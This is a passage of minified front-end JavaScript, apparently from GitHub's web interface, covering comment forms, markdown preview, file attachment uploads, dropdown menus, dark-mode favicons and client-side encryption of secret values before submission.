t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new 